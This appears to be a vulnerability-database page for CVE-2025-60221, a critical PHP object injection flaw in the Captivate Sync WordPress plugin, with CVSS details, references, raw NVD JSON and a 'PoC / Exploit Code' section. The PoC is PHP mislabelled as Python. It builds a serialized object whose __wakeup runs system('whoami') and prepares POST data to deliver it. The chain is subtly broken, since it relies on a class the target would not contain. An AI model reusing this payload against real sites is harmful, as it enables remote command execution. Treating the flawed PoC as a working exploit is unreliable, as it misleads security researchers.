CVE-2025-60221

Description

Deserialization of Untrusted Data vulnerability in captivateaudio Captivate Sync captivatesync-trade allows Object Injection.This issue affects Captivate Sync: from n/a through <= 3.0.3.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Captivate Sync (captivatesync-trade) <= 3.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
// CVE-2025-60221 PoC - PHP Object Injection in Captivate Sync Plugin
// Target: WordPress Captivate Sync Plugin <= 3.0.3
// Vulnerability: Insecure deserialization leading to RCE

class CaptivateSyncExploit {
    private $callback;
    private $args;
    
    public function __construct() {
        // Using system() to execute arbitrary commands
        $this->callback = 'system';
        $this->args = ['whoami'];
    }
    
    // Magic method that will be called during deserialization
    public function __wakeup() {
        if (isset($this->callback)) {
            call_user_func_array($this->callback, $this->args);
        }
    }
}

// Generate malicious serialized payload
$exploit = new CaptivateSyncExploit();
$payload = serialize($exploit);

// Encode for HTTP request
$encoded_payload = urlencode($payload);

// Display payload for testing
echo "Malicious Payload:\n";
echo $payload . "\n\n";
echo "URL Encoded:\n";
echo $encoded_payload . "\n\n";

// Example POST request (requires target endpoint)
$post_data = [
    'action' => 'captivate_sync_action',
    'data' => $payload
];

echo "Example POST Data:\n";
print_r($post_data);
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60221
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60221
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60221/
[4] VulDB https://vuldb.com/cve/CVE-2025-60221
[5] https://patchstack.com/database/Wordpress/Plugin/captivatesync-trade/vulnerability/wordpress-captivate-sync-plugin-3-0-3-php-object-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-60221", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:59.257", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in captivateaudio Captivate Sync captivatesync-trade allows Object Injection.This issue affects Captivate Sync: from n/a through <= 3.0.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/captivatesync-trade/vulnerability/wordpress-captivate-sync-plugin-3-0-3-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}